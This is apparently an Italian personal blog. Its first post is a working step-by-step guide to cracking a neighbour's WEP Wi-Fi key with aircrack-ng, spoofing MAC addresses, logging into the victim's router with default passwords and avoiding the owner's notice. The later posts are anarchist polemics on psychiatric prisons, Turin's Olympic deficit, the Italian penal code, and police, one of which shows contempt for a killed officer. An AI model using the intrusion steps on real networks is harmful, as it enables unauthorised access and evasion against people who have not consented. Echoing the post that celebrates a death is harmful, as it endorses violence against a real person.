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Come ottenere una chiave wep

La seguente guida è fornita a scopo conoscitivo.

E’ illegale ottenere la password e accedere ad una rete altrui senza il consenso del proprietario.

Ognuno poi faccia il meglio che crede…

 

Come
ottenere una chiave wep

NECESSARIO

  • la
    buona rete


    La rete wireless deve essere criptata con una chiave WEP
    statica (per capirlo prima di avventurarsi, è sufficiente voler
    connettersi, a quel punto verrà chiesta la password specificando se
    si tratta di WEP o WPA/PSK).


    La rete non deve essere troppo lontana. Il limite della ricezione
    è attorno al 10%
    (fare attenzione al fatto che si tratta di un
    valore relativo al s.o., al driver, etc). Naturalmente una maggior
    ricezione velocizza la procedura. In metri corrisponde ad
    un’ottantina massimo senza ostacoli e trenta circa attraverso muri.

     

  • Il
    buon materiale

    – una buona carta wireless.
    Ciò significa che la carta deve essere patchabile per l’iniezione
    di pacchetti (informarsi prima di procurarsela; normalmente i
    chipset Atheros lo sono, tenere conto dei driver utilizzati,
    ad esempio, per i ath5k non è necessaria la patch, poiché già
    predisposti all’iniezione). Fare attenzione non alla marca (per es.
    netgear), ma al chipset (per es. atheros).

    – un’antenna. Secondo
    la ricezione può essere più o meno indispensabile. Per i pc
    portatili è praticamente impossibile autocostruirla (a meno di
    smontare mezzo computer) mentre per le schede che dispongono
    dell’uscita connettore N ci sono molte guide disponibili sulla rete
    (http://wireless.iport.it/creare-antenna-wifi.html,
    http://www.irex.it/articolo/antenna-wifi-pringles.html

    ,http://www.napoliwireless.net/doku/doku.php).

     

  • Il
    buon software

    – Purchè, a quanto pare, sia
    possibile utilizzare Windows è vivamente consigliato GNU/Linux.
    Va bene qualsiasi distribuzione che abbia una scheda wireless
    riconosciuta ed un’eventuale patch per l’iniezione (con i ath5k non
    è necessaria, con Backtrack c’è già) ed abbia installato la suite
    aircrack-ng.

    – Per semplificarsi al massimo
    la vita esiste Backtrack, una distribuzione linux live
    appositamente studiata per il testing delle reti in cui si trovano
    già tutti gli strumenti necessari. E’ sufficiente scaricare
    l’immagine .iso da www.remote-exploit.net/backtrack,
    masterizzarla e lanciare il boot da cd. Ne esistono anche
    altre, come nUbuntu.

POSTPRE-REQUISITI

  • Buona rete, buon materiale e
    buon software, si può quasi iniziare. Immaginiamo in gran massima
    di usare Backtrack.

  • Da terminale

    $
    su

la
password da inserire è
toor

questo
permetterà di agire in qualità di root (si vede nel terinale poiché
l’ultimo carattere della stringa
ordi@ordi~
# è un cancelletto e non più un $)

  • #iwconfig

permette
di capire che se il sistema vede la scheda, come si chiama (e
indirettamente che driver usa).

ordi@ordi-laptop:~#
iwconfig

lo
no wireless extensions.

wmaster0
no wireless extensions.

wlan0
IEEE 802.11bg ESSID:""

Mode:Managed
Frequency:2.437 GHz Access Point: 00:1D:6A:A8:08:E6

Bit
Rate=1 Mb/s Tx-Power=20 dBm

Retry
min limit:7 RTS thr:off Fragment thr=2352 B

Power
Management:off

Link
Quality=73/100 Signal level:-56 dBm Noise level=-103 dBm

Rx
invalid nwid:0 Rx invalid crypt:0 Rx invalid frag:0

Tx
excessive retries:0 Invalid misc:0 Missed beacon:0

eth0
no wireless extensions.

La
nostra scheda si chiamerà in questo caso wlan0. Se c’è scritto ath0
sarò una scheda atheros che usa i driver madwifi.

SNIFFARE

  • Il
    primo passo è sniffare il traffico rete. Innanzitutto occorre che
    la scheda di rete sia in mode monitor. Se si utilizzano i
    driver madwifi:

    #wlanconfig
    ath0 destroy

    #wlanconfig
    ath0 create wlandev wifi0 wlanmode monitor

  • Utilizzando
    altri driver, tra cui gli ath5k per i chipset atheros, occorre dare:

    #airmon-ng
    start wlan0

    Ciò
    creerà un’interfaccia virtuale mon0, che dovremo sostituire nei
    prossimi comandi a ath0

  • #
    airodump-ng -w test –-ivs [se vogliamo -c 11 e/o –bssid ] ath0

    Ho
    notato che delle volte è necessario specificare il canale, poiché
    altrimenti si riceve un errore nei passi successivi.

  • Adocchiare
    nella lista delle reti quelle WEP, le wep il cui pwr e rxq siano più
    alti e con parecchi beacons. Attendere che una station si
    connetta
    alla rete prescelta. Se nessuno dovesse connettersi: a)
    aver pazienza e lasciare girare airodump, guardando di tanto in
    tanto i risultati in /home/test.txt b) assicurarsi di essere
    abbastanza vicini alla rete (e quindi, eventualmente perfezionare la
    propria antenna) c) con backtrack2 e scheda.

SOLLECITARE PACCHETTI

  • #aireplay-ng
    -1 0 -e NOMERETE -h NO:ST:RO:MA:CC [-a BSSID] ath0

  • Se
    tutto va bene, l’output del comando dovrebbe felicitarsi per
    l’avvenuta autentificazione con un 🙂

  • Se
    dovessero invece esserci problemi

prestare
attenzione al fatto che potrebbe esserci un filtraggio di
indirizzi mac

Nel
caso, occorre cambiare il nostro indirizzo e sostituirlo con
quello presente nella colonna station di airodump-ng (in termini
tecnici: mac-spoofing). Per far ciò, appuntato l’indirizzo, occorre
seguire tale procedura se si hanno driver madwifi:

#
wlanconfig ath0 destroy
# ip link set dev wifi0 down
#
macchanger -m IN:DI:RI:ZZ:OM:AC wifi0
# ip link set dev wifi0 up
#
wlanconfig ath0 create wlandev wifi0 wlanmode monitor

oppure
quest’altra se si posseggono i ath5k:

# ip link set wlan0 down
# macchanger -r wlan0
# sudo ip link set dev wlan0 up
c'è da dire che la procedura con i driver ath5k sembra essere sperimentale: il cambio avviene felicemente, ma il dhclient non riesce ad acquisire l'indirizzo ip (i problemi quindi sono dopo, una volta ottenuta la pwd). Patchando debitamente il kernel si dovrebbe riuscire. Più info su https://kerneltrap.org/mailarchive/linux-ath5k-devel/2008/11/21/4197334/thread
    	

CAPTARE PACCHETTI

  • Se
    l’autentificazione è riuscita, è ora di captare i pacchetti:

    #
    aireplay-ng -3 -b BSSID -h MI:OA:DR:ES:MA:C mon0

Con questo vedremo i pacchetti
sfilare. In media sono necessari 200.000 pacchetti, una volta
raggiunti si può passare al passaggio seguente. Nei casi più
fortunati potrebbero essere sufficienti 40000 pacchetti circa (anche
se ciò avviene assai di rado)

DECRIPTARE LA KEY

  • #aircrack-ng
    -z test*.ivs -b BSSID

  • Con
    un po’ di fortuna l’output sarà qualcosa di simile:
    Aircrack-ng 1.0 rc3

 

[00:00:00] Tested 641 keys (got
204749 IVs)

KB
depth byte(vote)

0
0/ 1 33(295936) 16(230144) 30(227584) 2A(222464) 19(221696)

1
32/ 1 84(212736) E5(212480) 81(212224) 89(212224) 0B(211968)

2
3/ 9 F1(224768) 6E(223744) AA(222208) 53(221696) 9D(220672)

3
1/ 3 7D(234240) 45(229120) FE(223744) 68(222720) E9(222464)

4
1/ 4 3D(224768) 92(221952) E7(219136) 15(218880) 8A(218880)

KEY
FOUND!
[
33:35:47:51:37:35:56:47:56:48:47:45:32 ] (ASCII: 35GQ75VGVHGE2 )

Decrypted
correctly: 100%

     

POST DECRIPTAGGIO

  • A
    questo punto, PRIMA di inserire la chiave quando è richiesta è
    opportuno prestare attenzione a qualche
    precauzione.

  • Se
    fin’ora è stato immaginato di utilizzare una live apposita per il
    testing delle reti, d’ora in poi si immaginerà di usare il sistema
    operativo quotidiano, supponendo che questo sia la
    distro
    Ubuntu
    .

  • Se
    c’era un filtraggio mac, perché la connessione vada a buon fine
    occorre seguire la procedura per assumere in qualità di
    fake-address quello del client connesso.

  • Se
    anche non ci fosse un filtro, è buona norma per la propria
    privacy
    di cambiare il proprio mac, attraverso il comando
    macchanger
    -r wlan0
    che
    imposterà un mac casuale per la nostra scheda. Volendo è possibile
    creare un piccolo script.

Per creare lo script
(su una distro Ubuntu):

  • $
    sudo gedit ~/connetti

  • nella
    pagina che si presenta incollare:

sudo
ip link set wlan0 down

sudo macchanger -r wlan0
sudo ip link set wlan0 up
sudo /etc/init.d/networking restart
sudo iwconfig wlan0 rate 1M
sudo iwconfig wlan0 essid NOMERETE channel 11
sudo dhclient wlan0
  • Modificare
    secondo i propri parametri e salvare.

  • Da
    terminale:

    $
    sudo chmod a+x ~/connetti

    per
    rendere lo script eseguibile

  • Aggiungere
    lo script a Sistema>Applicazioni d’avvio

  • Connessi alla rete, è
    possibile modificare qualche parametro sul router (aprire porte,
    disattivare filtro ip, etc).

  • Questi
    sono gli
    indirizzi
    IP

    più comuni dei router:

    192.168.0.1
    192.168.1.1
    10.0.0.1
    10.0.1.1

  • Ecco, invece,alcune delle
    password di default per accedere ai router più diffusi:

  1. Linksys
    Wireless-G VPN Broadband Router
    (
    http://www.linksys.com/products/product.asp?grid=33&scid=35&prid=565
    )

    Default
    Login:

    admin/admin

    Default
    SSID:

    linksys-g

  2. Netgear
    WGR614
    e
    MR814
    Cable/DSL
    Wireless Router 54 Mbps/2.4 Ghz
    (
    http://www.netgear.com/products/prod_details.php?prodID=151&view=
    )

    Default
    Login:

    admin/password

    Default
    SSID:

    NETGEAR

  3. Microsoft
    MN-700 802.11g
    (
    http://www.microsoft.com/hardware/broadbandnetworking/productdetails.aspx?pid=002
    )

    Default
    Login:

    admin

    Default
    SSID:

    MSNHOME

  4. D-Link
    DI-624

    AirPlus XtremeG Access Point
    (
    http://www.dlink.com/products/?model=DI-624
    )

    Default
    Login:

    admin/admin

     

Qui
ce ne sono molte di più
http://www.routerpasswords.com/
e anche qua:
https://www.securinfos.info/passwords-liste-mots-de-passe.html
e qua
http://www.phenoelit-us.org/dpl/dpl.html

     

  • Se le password dovessero
    essere state modificate è il caso di prestare attenzione: il
    possessore della rete non è un utonto di base, ma ha un pochino più
    a cuore la sua sicurezza (in realtà in questo caso è assai
    improbabile che abbia una chiave wep, ma vai a sapere!).

  • Se
    non ci si riesce a connettere potrebbe essere un problema di
    dhcp:
    il router non l’ha attivato. E’ preferibile connettersi tramite un
    ip fisso piuttosto che attivarlo (l’utente potrebbe accorgersi che
    qualcosa non va).

  • Se
    la password risulta errata può essere che la rete utilizzi un
    criptaggio a

    wep dinamica
    ,
    in quel caso è meglio cambiare rete.

3


opg

vorrei fare una premessa prima di scrivere i miei biliosi pensieri in modo da prevenire la più banale ma incisiva delle obiezioni.
la prendo da lontano: non ho alcuna fretta.
faccio un esempio, per iniziare. leggere i giornali può essere un'esperienza snervante e lo può essere per molti motivi. spesso, accanto agli articoli dei migliori pennivendoli, aumentano la rabbia mini saggi popolari di tuttologi finti sociologi. molti ritengono che la sociologia sia una scienza di merda e, a dirla tutta, non sia neanche una disciplina scientifica. tutti viviamo nella società che i sociologi studiano, dunque tutti possiamo rialsciare dichiarazioni su questo mondo. perfettamente vero, ma una differenza c'è. quando si parla di scienza significa che è stata seguita una metodologia scientifica (sia anche quella delle discipline sociali, diversa dalle scienze esatte). e pertanto, la scienza si differenza da quella che gli antichi greci chiamavano "doxa", opinione.
tuttavia la scienza non è assoluta e non trascendente rispetto alle altre sfere dell'agire umano e chiunque può essere competente negli ambiti normalmente indagati dalla scienza. lo può essere informandosi e studiando, lo può essere quando le questioni toccano non più fatti astratti che portano a dimostrazioni astruse (il teorema della derivata esponenziale del logaritmo dell'integrale di senx), ma hanno a che fare con l'uomo, un oggetto di studio che ciascuno di noi conosce alla perfezione, appartenendo lui stesso alla specie di cui si parla.
ed allora ecco che ha senso l'intromissione delle persone nella faccenda del tav, lontana dall'essere quella decisione esclusivamente presa da chi ne ha le competenze formali. ed ecco che ha senso che persone "incompetenti" parlino di psichiatria. parlare di psichiatria non equivale a discutere di otorinolaringoiatria o urologia, è cosa ben diversa. su un manuale di psichiatria (*1 Michele Torre= direttore dell'istituto di clinica psichiatrica dell Università di Torino, Psichiatria, Utet torino 1977) è ben evidenziato come, contrariamente a quanto avviene per altre discipline mediche, dove la malattia c'è esiste, si vede e se non si vede causa sintomi alla lunga evidenti, e sopratutto agisce a livello somatico,  per la psichiatria si dice esplicitamente "che le alterazioni psichiche causino o condizionino quelle somatiche non è esplicitamente affermato da alcuno" (ibidem pag 186). E ancora " in un buon numero di sindromi psichiche […] l'anatomia patologica non ci da e forse non ci darà mai alcun responso positivo e le ipotesi locatizzatorie dei loro sintomi sono semplici congetture" (ibidem pag 193). ***
E' perciò, come anche "esperti" evidenziano, una malattia alquanto strana. Si legge (sebbene nel paragrafo successivo ciò venga contrastato in modo piuttosto debole) "Questo atteggiamento [il considerare le potenzialità di ogni individuo paritarie], che è l'espressione in campo psichiatrico di concezioni attuali, attribuisce all'ambiente fisico e sociale e soprattutto a quest'ultimo, importanza esclusiva o nettamente preponderante nella formazione della personalità". Il dottorone, pur tenendo in considerazione l'ipotesi non sembra avvalorarla. A questo proposito, facendo però la debita premessa di una distinzione tra "sofferenza mentale" (la cui esistenza è innegabile) e la "malattia mentale" (vista quest'ultima come etichetta da attaccare su un individuo marcato in modo definitivo), è utile citare un "esperimento" compiuto da un ricercatore sociale. Il sociologo Rosenham era "convinto che le categorie sociali di salute e malattia mentale poggiassero solo in misura ridotta su dati obiettivi e che, in molti casi, l'attribuzione a un individuo dello status di malato fosse perlopiù una costruzione sociale" (*2 da Mario Cardano, Tecniche di ricerca qualitativa Roma Carrocci 2003 pag 41 e ss.). Perchè la convinzione non rimanesse una congettura teorica decise di compiere un "semi-esperimento": cercò otto collaboratori (uno studente, tre psicologi, un pediatra, uno psichiatra ed una casalinga), perfettamente sani, che, distribuiti in diverse città degli Stati Uniti, chiesero di farsi ricoverare in ospedale perchè "sentivano delle voci". Questa, con la dichiarazione di una professione diversa da quella svolta, era l'unica bugia degli pseudopazienti. Raccontando la loro vita si attennero alla realtà e il comportamento tenuto fu del tutto "normale". Furono tutti e otto ricoverati con la diagnosi di "schizofrenia". Ma l'esperimento non si ferma qui: nei mesi successivi, comunicò all'equipe ospedaliera che avrebbe introdotto in incognito degli pseudopazienti, ebbene, senza immettere alcun collaboratore nell'ospedale, su 190 pazienti ammessi 45 vennero dichiarati simulatori! Sembra che la partita Rosenham/Torre si sia conclusa 1:0.
Inoltre emergono simpatiche considerazioni dai consigli pratici che il dottore da ai futuri specialisti. Nel capitolo III del volume "esame clinico psichiatrico" emergono aspetti davvero inquietanti. Tralasciando la descrizione dell'introduzione sulla semeiotica medica (la procedura con la quale giungere alla diagnosi), leggere il paragrafo dedicato all'"anamnesi personale" mi ha fatto davvero pensare.
Cosa tener conto per considerare il paziente pazzo?
a) il profitto scolastico (*3 pag 199) "[…]rapidi scadimenti del rendimento scolastico nell'adolescenza possono essere remonitori di gravi psicopatie" eh? che magari uno non abbia più voglia di studiare perchè ha capito che c'è anche dell'altro in questa vita, no, eh??
b) "Nel periodo puberale e postpuberale […] deve essere indagato se in questo periodo vi è stato un eccesso di fantasticheria, di emotività, di impulsività, di timidezza o apatia" si commenta da solo!
c) "Un'indagine sull'attività e sul comportamento è sempre utile e talora di grande importanza", "una masturbazione sfrenata senza ritegno ne' pudore può essere un sintomo di schizofrenia"
d) (AIUTO) "Un regolare adempimento del servizio militare è buon indice di sanità fisica e stabilità psichica"!!!
e) Lavoro
Scusate, ma mi sembra davvero che tutto ciò abbia ben poco a che fare con un'analisi medica! sembra decisamente più un inquadramento sociale: se non rientri negli schemi prefissati (non vai bene a scuola, non hai una sessaulità "cattolica", non fai l'assassino al servizio dello stato, non lavori con senso del sacrificio…) beh, hai buone probabilità di poter essere un malato mentale!
Ci sarebbe da dilungarsi molto di più di quanto mi permettano queste righe,  ma non voglio allontanarmi troppo dall'argomento che mi sta a cuore oggi. Sopratutto ci sarebbe da chiedersi dove voglio arrivare. Si pensa normalmente di vivere in un mondo democraticamente perfetto e massimamente attento all'individuo alle sue esigenze, necessità e diritti. Mi potete dire che, vabbeh, ci potranno anche essere diagnosi azzardate di malattie mentali inesistenti, ma che queste constatazioni sono piuttosto innocue. D'altronde è già passato qualche tempo da quando Basaglia ha deciso di far chiudere i manicomi. E allora? che c'è ancora da dire? Tralasciando questioni del tipo il Ritalin e la sindrome di iperattività che mi sembrano solo tangenzialmente toccare il tema, mi chiedo quanti conoscano il significato della sigla che riporto nel titolo. O.P.G. ospedale psichiatrico giudiziario. Dal '75 in poi sostituisce il "Manicomio Criminale" di Ottocentesca memoria. Ed esiste ancora.
Ieri, nei padiglioni dismessi e fortunatamente occupati dell'ex OPG di Collegno è stato proiettato "Socialmente Pericolosi OPG di Aversa". Un documentario, vero, mandato in onda su rai tre qualche anno fa. Vedere i  muri ora colorati, vedere sovvertita la funzione di quel luogo non può evitare che un brivido profondo e freddo scuota chiunque odi i soprusi, l'autorità e la privazione della libertà. Sono seguite le testimonianze di due persone che sono finite internate, per fortuna loro per un breve periodo, all'interno di diversi OPG.
In nome di una presunta scientificità, vengono portate avanti le peggio torture, i più tremendi soprusi. Circa il 10% degli internati negli OPG sono detenuti "comuni" delle carceri impazziti per il sistema carcerario stesso. Naturalmente a venir messo sotto accusa non è il sistema della detenzione contrario intrinsecamente all'uomo, ma è l'individuo che dovrebbe essere in grado di sopravvivere "sano di mente" alla privazione totale della propria libertà!
Una buona parte di detenuti sono poi quelli giudicati innocenti (sì, proprio prosciolti dal reato) in quanto non in grado di intendere e volere. Sei innocente ma devi pagare con un'istituzione totale peggio del carcere. E' ormai evidente che la mia logica si allontana tremendamente dalla dislogica del potere.
Chi è stato condannato con vizio parziale di mente, beh, è "logico" che venga imprigionato, peccato che tutto il periodo trascorso nell'OPG (assolutamente arbitrario e deciso in base a criteri ascientifici dai medici) non conti come pena scontata, anzi, in tale tempo la pena viene "sospesa" per poter essere riapplicata non appena giudicati "normali". Comunque, il vero pazzo è colui che, internato in un'istituzione totale, torturato, violato nella propria intimità, legato, percosso, privato di qualsiasi libertà non esce fuori di testa, non si ribella, non urla. Senza contare che durante il periodo di internamento, la somministrazione degli psicofarmaci è ampia e spesso contraria alla volontà del singolo. Volendo alterare coscientemente i nostri stati di coscienza si commette reato, non accettare che altri lo facciano sul nostro corpo è un crimine ancora peggiore. Uno dei due tipi che ha trascorso diverso tempo in un OPG ha fatto notare come non solo venga tolta la libertà, ma viene tolto anche completamente il controllo su se stessi. Come è possibile "riabilitarsi" se si viene annientati, come è possibile saper gestire la propria vita (supponiamo anche all'interni di schemi accettati socialmente) se nel periodo di cura questa viene tolta? Ho letto per caso, una volta che una vecchietta l'aveva dimenticato sul mio tavolino, il bugiardino dello Xanax. Xanax, gocce o compresse che viene ampliamente usato da buona parte della popolazione, insieme a Lexotan e Tavor. Non un vero e proprio psicofarmaco, ci mancherebbe, ma pur sempre qualcosa che ci assomiglia molto. Ebbene, leggere il suo foglietto di istruzioni mi ha lasciato davvero contraddetta, visti i numerosi effetti collaterali. E' forse un ragionamento azzardato credere che se uno psicofarmaco così "blando" e diffuso abbia tali effetti, sostanze ben più pesanti porteranno a conseguenze peggiori?!
Come è possibile "curarsi" in una situazione continua di soprusi, paura, terrore, angoscia, rabbia? Se non si è malati lo si diventa, se lo si è sicuramente non si migliora. Sempre che ci sia bisogno di guarire e occorra davvero rientrare nei binari imposti all'interno di cui non si è malati di mente.

*** scusate, ma mi viene in mente Cesare Lombroso e compagnia bella che giudicano la delinquenza come malattia mentale e pertanto riscontrabile somaticamente nelle dimensione dei crani!
eh, da dan…neanche farlo apposta leggo ora com'è nato l'opg di Aversa:
"Virgilio, celebre alienista e fedele seguace delle teorie lombrosiane, già direttore del manicomio civile di Aversa "S. Maria Maddalena" dal 1863 al 1904, aveva qui iniziato i suoi studi sul parallelismo tra malati di mente comuni ed alienati delinquenti, studi resi possibili in quanto il manicomio civile da lui diretto era l’unico manicomio in tutto il Regno che accoglieva malati di mente, autori di reato."

http://www.opgaversa.it/Home_Page/frame2.htm

 

 **** Le note sono messe alla cazzo, comunque in linea generale la bibliografia striminzita è la seguente

M. Torre Psichiatria Utet Torino 1977

M. Cardano Tecniche di ricerca qualitativa Carrocci Roma 2003

C. Sabatino Oltre ogni immaginazione  Autoproduzioni A'rraggia Napoli 2006

Socialmente Pericolosi- OPG Aversa

Dibattito sulla psichiatria Mezcal Occupato Certosa Irreale 2 marzo 2007 

 

Ulteriori informazioni possono essere reperite:

ttp://www.ecn.org/filiarmonici/opg-00.html

http://www.odioilcarcere.org/index.php?option=com_content&task=view&id=102&Itemid=2 

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Olimpiadi: Risultato soddisfacente

"Definitivo: per i giochi un deficit di 25 milioni" "Castellani: risultato soddisfacente"

Questo articoletto fregia il taglio basso della prima pagina della cronaca di torino della Busiarda. Credo si commenti da sola.

Schematicamente alcune considerazioni:

Le olimpiadi, fonti di benessere economico per Torino, Il Piemonte, La Padania e l'Italia Tutta, portano, nelle sole casse del Toroc, 25 milioni di euro di debiti (emh, come dire qualcosa come qualche centinaio di miliardi di lire????). Che un debito, deficit, conto in rosso, buco o come si preferisce chiamarlo non sia un successo è ben chiaro a qualsiasi bambino dell'asilo, probabilmente i giornalisti della stampa non vogliono nemmeno arrivare a quel livello.

Il trafiletto specifica anche che parte della somma sarà integrata dal Comune di Torino che invece di spendere i soldi dei solerti cittadini in spese "pubbliche" li regala ad una torbida fondazione privata (raddoppiando i parcheggi nei controviali -ad ex. Cso S. Maurizio o Cso Regina).

Nonostante il deficit c'è da essere soddisfatti , ci dice Castellani. Che strano…che magari lui ci abbia guadagnato qualcosa? Che i mafiosi del Toroc e compagnia ci abbiano marciato su queste olimpiadi?? che dubbio lontano da ogni logica (ma ricordiamo il postulato da cui si parte: deficit = successo)

Tali righe sono l'ennesimo esempio della merda mediatica a cui siamo sottoposti quotidianamente, in cui le Olimpiadi appaiono piene di lustrini anche nei loro aspetti più cupi e sporchi. Come l'ambiente devastato per nulla (si veda l'abbandonato impianto di bob -leggasi quintali di cemento e disboscamento- sopra Cesana o qualsiasi altra costruzione olimpica lasciata marcire), come gli impianti da demolire perchè non si hanno i soldi per mantenerli (e ditelo, almeno che è Keynes che vi spinge a fare e poi demolire solo per dire di avere autmentato un po' l'occupazione di merda), come la gestione mafiosa di una città (e andatelo a dire a Don Rino Chiappa).

Oh, ci sarebbe tanto altro da scrivere, ma avevo promesso di essere sintetica! 

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sbirri e calcio merde

oh, scusate. l'umore è quello che è, ma certe cose devo scriverle. un'inutile aggiunta alla puntuale canea mediatica, ma non mi importa.
in realtà, sembrerebbe che il mio pensiero sia poco condiviso, non ho trovato quasi nessuno che sostenesse un odio uguale per il calcio e per gli sbirri. io sì. mi dispiace, so che molte persone impegnate nel "movimento" si battono anche sul fronte degli stadi, ma mentirei se dicessi di capirle.
mi sembra che calcio e sbirri siano parte integrante di una stessa medaglia. gli uni reprimono, l'altro reprime le menti, reindirizza gli interessi. perchè altrimenti lo stato sarebbe così bendisposto a sacrificare anche i suoi preziosi uomini per difenderlo? perchè gli è altamente funzionale, ecco perchè. il calcio, così com'è oggi, è solo uno degli odiosi risultati, da un lato delle intenzioni lobotomizzanti dello stato sui cervelli degli pseudocittadini e dall'altro il risultato del più becero capitalismo. dove c'è sì chi magari si sbatte, da e prende botte per difendere la propria "fede", ma tanto chi intasca i miliardi di certo non è lui. anzi il tifoso li spende i soldi per la propria squadra, glieli da' di sua sponte, ma tanto chi se li intasca sono i soliti fottuti bastardi che, magari, posseggono anche la fabbrica nella quale si spacca la schiena durante la settimana. e se agli ultras interessasse proprio sconfiggere lo stato, beh, avrebbero tanti altri modi che macellarsi davanti e dentro uno stadio (sì, perchè, alla fine è un caso che questa volta sia finito nella mischia uno sbirro, l'obiettivo, di solito, è attaccare la squadra avversaria). detto questo, sono ben lontana dal pensare anche solo una parola di dispiacere per il servo morto. certo, è un peccato che tanta energia venga così malamente utilizzata, che si arrivi anche ad uccidere in nome di una squadra di calcio e non per la propria vita, la propria libertà o, piuttosto, per rivendicare i propri diritti. la digos che tanto amo ha anche tra i suoi compiti quello di sorvegliare gli ultras, come potrei parlarne bene? i celerini, non so se siano gli stessi, ma sempre quella divisa di merda hanno addosso e sempre per l'ordine statale si immolano (o uccidono, quando gli riesce!). mi fanno, al solito, schifo i chili di retorica patriottica, i quintali di rimpianti per un onesto lavoratore morto sul lavoro. e dire che di gente che perde la vita sul lavoro se ne conta a migliaia l'anno, ma non riesce a conquistare le prime pagine di un giornale nemmeno messa tutta insieme. un cantiere, una cava,una fabbrica, un campo sono troppo onesti per meritare qualcosa che sia più del dolore dei conoscenti ed una misera pensione dell'INPS. fanno male a troppa poca gente per essere lodati. e sono molto meno una scelta e molto più una necessità di quanto possa essere l'inchinarsi a ricevere ordini hegeliani. certo, è difficile, quando sei il commissario di una sezione di celerini immaginarti che la tua morte sia dovuta ad uno dei tuoi nemici, a quelli a cui, invece, non pregusti l'ora di lanciare lacrimogeni cancerogeni, di investire con un defender, prendere a manganellate fino a far sopraggiungere l'arresto respiratorio, far partire un proiettile per sbaglio, o anche solo fermare senza motivi per ore al freddo o dentro un cellulare. in effetti, non ti aspetti di venire punito, tu, tu che come poliziotto sai che se anche ci sono delle prove a tuo carico è probabile che spariscano, perchè tanto sono in questura, come le molotov scomparse a genova. beh, per una volta si è rigirato il coltello ed il manico non era dalla vostra parte. il motivo per cui ciò è avvenuto mi schifa (la tifoseria del catania, tra l'altro, è di estrema destra), il calcio è merda, e penso pure che nemmeno fosse intenzionale, ma veder ribaltata la situazione ogni tanto sicuramente non mi fa levare la mia felpa serigrafata ACAB. Continue reading


CIPÌ *prima puntata*

No, il povero Mario Lodi non c'entra nulla con questa brutta storia. Ciò di cui voglio parlare tratta pur sempre di un "libro", ma forse uno dei più odiosi che esistano. Anche l'autore del resto, è ben lontano dalle mie simpatie.
Il volume in questione, pur essendo sovente abbreviato con le lettere che danno nome al passerotto (C.P.), si chiama Codice Penale.
L'edizione in mio possesso è una seconda mano dell'81 e, senza fare pubblicità al Dott. Commentatore, vorrei citare alcune caratteristiche che mi hanno subito colpito. La prima cosa che mi è saltata all'occhio è…un'A cerchiata!
Sconvolta dal fatto che un codice penale fosse contrassegnato da tale simbolo, ho guardato con più attenzione: naturalmente non si trattava di ciò che mi è sembrato di vedere ma di questo:
Ovvero una A inserita in una G (il simbolo dell'Editore). A questo punto sono rimaste due considerazioni da fare: la scritta e la data.
Se il mio latino non mi inganna, il ribrezzo mi porta alla piloerezione: "multa paucis" dovrebbe significare qualcosa come "molte cose a pochi"!
E già qui…poi dicevo, mi preoccupa il riferimento temporale: 1931, la bella data riportata sotto la falsa a cerchiata, corrisponde in pieno al REGIME FASCISTA, mentre 1981 a quella che molti credono la libera democrazia. Sarà un'impressione, ma credere che uno stato con leggi fasciste non sia più tale viene difficile, ma forse è inevitabile che le leggi per la loro essenza siano dotate di questa connotazione.
Apro il libro, salto la descrizione del giurisdicese introduttivo e trovo conferma maggiore dei miei timori a pagina 30: "Regio Decreto 19 ottobre 1930 n. 1398. Approvazione del testo definitivo del codice penale (con attuazione del 1°luglio 1931)". Una bella scoperta: l'italia è una Repubblica democratica fondata sul fascismo!. Giornata della Memoria introdotta per muovere le corde emotive, ricordare la Shoa come si può sovvenire al nostro primo incidente, ma far ben attenzione a dimenticare che i pilastri su cui questo stato si fonda sono i diretti responsabili di quell'orrore.
Dimenticare che se oggi si vuol confondere la differenza tra antisemitismo ed antisionismo (non che mi interessi la formazione di uno stato in Palestina in quanto nazione, ma il vedere trucidato chi lotta per la propria terra mi inschifa comunque).
Ma non c'è bisogno di scavare nella torbidissima acqua del 1969 dove fascisti eversivi stavano per venire a galla per vedere la persistenza con cui questa erba strangolatrice e infestante si arrampica (nel senso di pianta rampicante profondamente legata ed immancabilmente invischiante al suo ospite) allo stato: basta leggere il codice penale! Perfino secondo Furio Colombo è da esso che si possono comprendere i caratteri di una nazione. Sarà forse chiaro (e se non lo è lo diventa) che non sono una giurista, non sono una studiosa di diritto, ne', tantomeno, una donna di legge. E anche nel campo dell'antropologia, in cui mi destreggio meglio, non ho mai studiato l'antropologia giuridica. Sono soltanto una persona che, secondo l'art. 3 di questo stesso codice, ne è obbligata: "la legge italiana obbliga tutti coloro che cittadini o stranieri, si trovano nel territorio dello stato".
E a questo punto mi sorgono innumerevoli dubbi.
Che ti nasca un figlio può o può non essere una scelta, può essere uno sbaglio, una distrazione, una sfiga, una volontaria omissione, una ricerca ardua, un trattamento medico. Ma nascere no, quello non si decide. Quindi, mi chiedo, perchè dovrei riconoscere lo stato? Non ho deciso di trovarmi io sul suo territorio, sotto la sua giurisdizione. Non dovrebbe essere una mia scelta? Anche Hobbes che sicuramente di stati se ne intende e in modo piuttosto deciso sostiene che la formazione dello stato sia una patto per evitare l'homo hominis lupus. Ma un patto tra chi? Nasco e trovo già pronte le leggi che non devo trasgredire. Ma questa democrazia voltariana non sarebbe cosa di tutti, amministrabile da ognuno? Perchè devo sottostare alle leggi di qualche coglione fascista? Mi dicono che se non mi va bene ho solo da andare, aria, smammare. Peccato poi che la storia e tutti coloro i quali l'hann decisa, ha fatto sì che di stati/nazioni e statinazione più o meno radicati ne sia pieno il mondo. QUindi? Non rimane che cambiare, cambiamento che non può passare per le medesime leggi, mi sembra ovvio. Parto dal presupposto di non riconoscere qualcosa ed agisco in suo nome. Anche la logica classica sta facendo le piroette nella tomba. Bene, non resta che distruggere allora o non riconoscere e proseguire per la propria strada. Sfoglio queste pagine ingiallite rabrividendo un po', e da dan, finito l'elenco raccapricciante di tutte le restrizioni possibili ed immaginabili alla libertà individuale, appare "Libro II- Dei delitti in particolare" e uno si aspetta che centralmente appaiano i delitti peggiori che mi vengono in mente, quelli contro le persone, contro l'individuo. No, forse è naturale e la mia era solo ingenuità, ma i delitti peggiori sono quelli contro "la personalità dello stato"!
L'art. 241 dovrebbe colpire la Lega che, invece, becera e fascista nel suo razzismo xenofobo, è stata addirittura al governo.
L'art 247 "favoreggiamento bellico" mi stupisce che non sia stato affibiato a chi sostiene la resistenza irachena.
Il 253 mi stuzzica, devo dirlo, "distruzione o sabotaggio di opere militari"; "disfattismo politico" è anche bello e tutto sto "nemico" che pervade gli articoli ha un retrogusto mussoliniano ben evidente. E che dire del 269 "attività antinazionali del cittadino all'estero" (vado in Francia a dire l'Italia è una merda e dovrei farmi almeno cinque anni di galera!".
